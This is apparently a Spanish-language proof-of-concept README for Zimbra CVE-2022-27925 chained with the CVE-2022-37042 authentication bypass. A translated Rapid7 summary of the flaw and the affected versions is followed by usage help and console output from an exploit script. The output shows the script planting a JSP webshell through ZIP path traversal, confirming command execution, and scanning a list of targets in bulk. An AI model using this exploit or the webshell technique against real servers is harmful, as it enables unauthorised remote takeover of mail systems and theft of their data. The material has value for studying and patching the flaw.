
PoC
El 10 de mayo de 2022, Zimbra publicó las versiones 9.0.0 parche 24 y 8.8.15 parche 31 para abordar múltiples vulnerabilidades en Zimbra Collaboration Suite, incluyendo CVE-2022-27924 (sobre la que escribimos anteriormente) y CVE-2022-27925.
Originalmente, Zimbra denominó a CVE-2022-27925 como un ataque de path traversal autenticado, donde un usuario administrativo podía escribir archivos en cualquier directorio del sistema de archivos como la cuenta de Zimbra. Debido a que inicialmente se pensó que era un ataque solo para administradores, NVD le asignó una puntuación base CVSS de 7.8. Posteriormente, Volexity observó que los atacantes que explotaban esta vulnerabilidad habían encontrado una forma de omitir los requisitos administrativos, y escribió al respecto el 10 de agosto de 2022. Esta nueva omisión de autenticación recibió un nuevo identificador: CVE-2022-37042.
Al combinar la vulnerabilidad original de path traversal y la nueva omisión de autenticación, los atacantes pueden comprometer remotamente un sistema Zimbra Collaboration Suite a través del puerto de administración (por defecto, 7071) de forma anónima. Combinadas con una vulnerabilidad de escalada de privilegios actualmente sin parche sobre la que escribimos recientemente y para la que creamos un exploit, estas tres vulnerabilidades conducen a la ejecución remota de comandos como usuario root en sistemas sin parchear.
Aunque los avisos públicos no lo mencionan, según nuestro análisis, Zimbra Collaboration Suite Network Edition (la edición de pago) es vulnerable, y la Open Source Edition (gratuita) no lo es (ya que no tiene el endpoint mboximport vulnerable). Las versiones vulnerables son:
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (y anteriores)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (y anteriores)
Estas vulnerabilidades (y otras en Zimbra) están siendo objeto de explotación generalizada en el mundo real, por lo que deben parchearse o ponerse fuera de línea lo antes posible. Si sospechas que has sido comprometido, Zimbra proporciona pasos para reconstruir tu servidor Zimbra Collaboration Suite desde cero con el último parche sin perder datos.
Fuente: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 Sanan Qasim
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925 sanan Qasim
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable